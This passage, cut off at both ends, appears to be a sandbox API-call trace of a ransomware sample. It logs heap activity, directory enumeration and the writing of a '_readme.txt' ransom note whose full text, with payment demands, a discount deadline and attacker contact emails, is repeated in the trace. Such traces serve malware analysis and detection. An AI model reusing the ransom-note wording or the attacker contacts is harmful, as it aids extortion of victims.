Size=0x810) returned 0x7b14108 [0111.488] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.488] FreeLibrary (hLibModule=0x76190000) returned 1 [0111.488] PathAppendW (in: pszPath="C:\\Boot\\fr-FR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\fr-FR\\_readme.txt") returned 1 [0111.488] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac41a0 [0111.488] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.488] PathFileExistsW (pszPath="C:\\Boot\\fr-FR\\_readme.txt") returned 0 [0111.489] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x7d00) returned 0x7b152e0 [0111.489] lstrcpyW (in: lpString1=0x7b152e0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" [0111.489] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf", lpString2="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" [0111.489] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac4a28 [0111.489] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\_readme.txt" (normalized: "c:\\boot\\fr-fr\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.489] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac4a28 | out: hHeap=0x5010000) returned 1 [0111.489] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b152e0 | out: hHeap=0x5010000) returned 1 [0111.490] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.490] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.490] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0111.490] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.490] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.490] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0111.490] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0111.490] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0111.490] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac41a0 | out: hHeap=0x5010000) returned 1 [0111.490] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35c90 | out: hHeap=0x5010000) returned 1 [0111.490] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35c90 [0111.490] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.490] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.490] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.490] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.490] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.490] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.490] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.490] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.490] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.490] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.490] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.490] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.490] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.490] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.491] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.491] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.491] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.491] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.491] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.491] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.491] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.491] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.491] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.491] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.491] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.491] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.491] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.491] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0111.491] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.491] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.491] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.491] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.491] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.491] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.491] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.491] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.491] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.491] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.491] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.491] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.491] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.491] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.491] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.491] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.491] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.491] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.492] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.492] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.492] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.492] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.492] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.492] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.492] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.492] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.492] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.492] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.492] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.492] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.492] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.492] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.492] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.492] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.492] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.492] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.492] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.492] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.492] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.492] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.492] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.492] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.492] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.492] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.492] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.492] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.492] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.492] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.492] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.492] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.492] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.493] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.493] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.493] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.493] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.493] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.493] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ad3918 [0111.493] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0111.493] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.493] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.493] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.493] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.493] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.493] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.493] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.493] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.493] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.493] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.493] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.493] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.493] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.493] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.493] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.493] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.493] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.493] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0111.493] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.493] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.493] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.493] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.493] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.493] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.494] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.494] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.494] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.494] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.494] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.494] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.494] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.494] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.494] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.494] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.494] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.494] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.494] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.494] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.494] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.494] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.494] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.494] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.494] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.494] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.494] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.494] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.494] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.494] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.494] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.494] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.494] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.494] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.494] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.494] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.494] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.494] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.494] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.495] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.495] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.495] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.495] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.495] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.495] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.495] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.495] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.495] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.495] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.495] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.495] RtlAllocateHeap (HeapHandle=0x5010000, 